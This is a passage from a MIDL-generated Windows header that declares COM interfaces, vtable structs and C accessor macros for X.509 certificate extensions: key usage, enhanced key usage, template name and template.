__RPC__in IX509ExtensionKeyUsage * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509ExtensionKeyUsage * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509ExtensionKeyUsage * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509ExtensionKeyUsage * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509ExtensionKeyUsage * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509ExtensionKeyUsage * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Critical )( \n            __RPC__in IX509ExtensionKeyUsage * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Critical )( \n            __RPC__in IX509ExtensionKeyUsage * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeEncode )( \n            __RPC__in IX509ExtensionKeyUsage * This,\n            /* [in] */ X509KeyUsageFlags UsageFlags);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509ExtensionKeyUsage * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_KeyUsage )( \n            __RPC__in IX509ExtensionKeyUsage * This,\n            /* [retval][out] */ __RPC__out X509KeyUsageFlags *pValue);\n        \n        END_INTERFACE\n    } IX509ExtensionKeyUsageVtbl;\n\n    interface IX509ExtensionKeyUsage\n    {\n        CONST_VTBL struct IX509ExtensionKeyUsageVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509ExtensionKeyUsage_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509ExtensionKeyUsage_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509ExtensionKeyUsage_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509ExtensionKeyUsage_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509ExtensionKeyUsage_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509ExtensionKeyUsage_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509ExtensionKeyUsage_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509ExtensionKeyUsage_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509ExtensionKeyUsage_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509ExtensionKeyUsage_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define IX509ExtensionKeyUsage_get_Critical(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Critical(This,pValue) ) \n\n#define IX509ExtensionKeyUsage_put_Critical(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Critical(This,Value) ) \n\n\n#define IX509ExtensionKeyUsage_InitializeEncode(This,UsageFlags)\t\\\n    ( (This)->lpVtbl -> InitializeEncode(This,UsageFlags) ) \n\n#define IX509ExtensionKeyUsage_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define IX509ExtensionKeyUsage_get_KeyUsage(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_KeyUsage(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509ExtensionKeyUsage_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509ExtensionEnhancedKeyUsage_INTERFACE_DEFINED__\n#define __IX509ExtensionEnhancedKeyUsage_INTERFACE_DEFINED__\n\n/* interface IX509ExtensionEnhancedKeyUsage */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509ExtensionEnhancedKeyUsage;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab310-217d-11da-b2a4-000e7bbb2b09\")\n    IX509ExtensionEnhancedKeyUsage : public IX509Extension\n    {\n    public:\n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE InitializeEncode( \n            /* [in] */ __RPC__in_opt IObjectIds *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_EnhancedKeyUsage( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509ExtensionEnhancedKeyUsageVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509ExtensionEnhancedKeyUsage * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509ExtensionEnhancedKeyUsage * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509ExtensionEnhancedKeyUsage * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509ExtensionEnhancedKeyUsage * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509ExtensionEnhancedKeyUsage * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509ExtensionEnhancedKeyUsage * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509ExtensionEnhancedKeyUsage * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509ExtensionEnhancedKeyUsage * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509ExtensionEnhancedKeyUsage * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509ExtensionEnhancedKeyUsage * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Critical )( \n            __RPC__in IX509ExtensionEnhancedKeyUsage * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Critical )( \n            __RPC__in IX509ExtensionEnhancedKeyUsage * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeEncode )( \n            __RPC__in IX509ExtensionEnhancedKeyUsage * This,\n            /* [in] */ __RPC__in_opt IObjectIds *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509ExtensionEnhancedKeyUsage * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EnhancedKeyUsage )( \n            __RPC__in IX509ExtensionEnhancedKeyUsage * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue);\n        \n        END_INTERFACE\n    } IX509ExtensionEnhancedKeyUsageVtbl;\n\n    interface IX509ExtensionEnhancedKeyUsage\n    {\n        CONST_VTBL struct IX509ExtensionEnhancedKeyUsageVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509ExtensionEnhancedKeyUsage_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509ExtensionEnhancedKeyUsage_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509ExtensionEnhancedKeyUsage_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509ExtensionEnhancedKeyUsage_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509ExtensionEnhancedKeyUsage_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509ExtensionEnhancedKeyUsage_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509ExtensionEnhancedKeyUsage_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509ExtensionEnhancedKeyUsage_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509ExtensionEnhancedKeyUsage_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509ExtensionEnhancedKeyUsage_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define IX509ExtensionEnhancedKeyUsage_get_Critical(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Critical(This,pValue) ) \n\n#define IX509ExtensionEnhancedKeyUsage_put_Critical(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Critical(This,Value) ) \n\n\n#define IX509ExtensionEnhancedKeyUsage_InitializeEncode(This,pValue)\t\\\n    ( (This)->lpVtbl -> InitializeEncode(This,pValue) ) \n\n#define IX509ExtensionEnhancedKeyUsage_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define IX509ExtensionEnhancedKeyUsage_get_EnhancedKeyUsage(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_EnhancedKeyUsage(This,ppValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509ExtensionEnhancedKeyUsage_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509ExtensionTemplateName_INTERFACE_DEFINED__\n#define __IX509ExtensionTemplateName_INTERFACE_DEFINED__\n\n/* interface IX509ExtensionTemplateName */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509ExtensionTemplateName;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab311-217d-11da-b2a4-000e7bbb2b09\")\n    IX509ExtensionTemplateName : public IX509Extension\n    {\n    public:\n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE InitializeEncode( \n            /* [in] */ __RPC__in BSTR strTemplateName) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_TemplateName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509ExtensionTemplateNameVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509ExtensionTemplateName * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509ExtensionTemplateName * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509ExtensionTemplateName * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509ExtensionTemplateName * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509ExtensionTemplateName * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509ExtensionTemplateName * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509ExtensionTemplateName * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509ExtensionTemplateName * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509ExtensionTemplateName * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509ExtensionTemplateName * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Critical )( \n            __RPC__in IX509ExtensionTemplateName * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Critical )( \n            __RPC__in IX509ExtensionTemplateName * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeEncode )( \n            __RPC__in IX509ExtensionTemplateName * This,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509ExtensionTemplateName * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_TemplateName )( \n            __RPC__in IX509ExtensionTemplateName * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IX509ExtensionTemplateNameVtbl;\n\n    interface IX509ExtensionTemplateName\n    {\n        CONST_VTBL struct IX509ExtensionTemplateNameVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509ExtensionTemplateName_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509ExtensionTemplateName_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509ExtensionTemplateName_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509ExtensionTemplateName_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509ExtensionTemplateName_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509ExtensionTemplateName_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509ExtensionTemplateName_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509ExtensionTemplateName_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509ExtensionTemplateName_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509ExtensionTemplateName_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define IX509ExtensionTemplateName_get_Critical(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Critical(This,pValue) ) \n\n#define IX509ExtensionTemplateName_put_Critical(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Critical(This,Value) ) \n\n\n#define IX509ExtensionTemplateName_InitializeEncode(This,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeEncode(This,strTemplateName) ) \n\n#define IX509ExtensionTemplateName_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define IX509ExtensionTemplateName_get_TemplateName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_TemplateName(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509ExtensionTemplateName_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509ExtensionTemplate_INTERFACE_DEFINED__\n#define __IX509ExtensionTemplate_INTERFACE_DEFINED__\n\n/* interface IX509ExtensionTemplate */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509ExtensionTemplate;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab312-217d-11da-b2a4-000e7bbb2b09\")\n    IX509ExtensionTemplate : public IX509Extension\n    {\n    public:\n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE InitializeEncode( \n            /* [in] */ __RPC__in_opt IObjectId *pTemplateOid,\n            /* [in] */ LONG MajorVersion,\n            /* [in] */ LONG MinorVersion) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_TemplateOid( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_MajorVersion( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_MinorVersion( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509ExtensionTemplateVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509ExtensionTemplate * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509ExtensionTemplate * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509ExtensionTemplate * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509ExtensionTemplate * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509ExtensionTemplate * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509ExtensionTemplate * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509ExtensionTemplate * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509ExtensionTemplate * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509ExtensionTemplate * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509ExtensionTemplate * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Critical )( \n            __RPC__in IX509ExtensionTemplate * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Critical )( \n            __RPC__in IX509ExtensionTemplate * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeEncode )( \n            __RPC__in IX509ExtensionTemplate * This,\n            /* [in] */ __RPC__in_opt IObjectId *pTemplateOid,\n            /* [in] */ LONG MajorVersion,\n            /* [in] */ LONG MinorVersion);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509ExtensionTemplate * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_TemplateOid )( \n            __RPC__in IX509ExtensionTemplate * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_MajorVersion )( \n            __RPC__in IX509ExtensionTemplate * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_MinorVersion )( \n            __RPC__in IX509ExtensionTemplate * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        END_INTERFACE\n    } IX509ExtensionTemplateVtbl;\n\n    interface IX509ExtensionTemplate\n    {\n        CONST_VTBL struct IX509ExtensionTemplateVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509ExtensionTemplate_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509ExtensionTemplate_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509ExtensionTemplate_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509ExtensionTemplate_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509ExtensionTemplate_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509ExtensionTemplate_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509ExtensionTemplate_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509ExtensionTemplate_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509ExtensionTemplate_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509ExtensionTemplate_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define IX509ExtensionTemplate_get_Critical(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Critical(This,pValue) 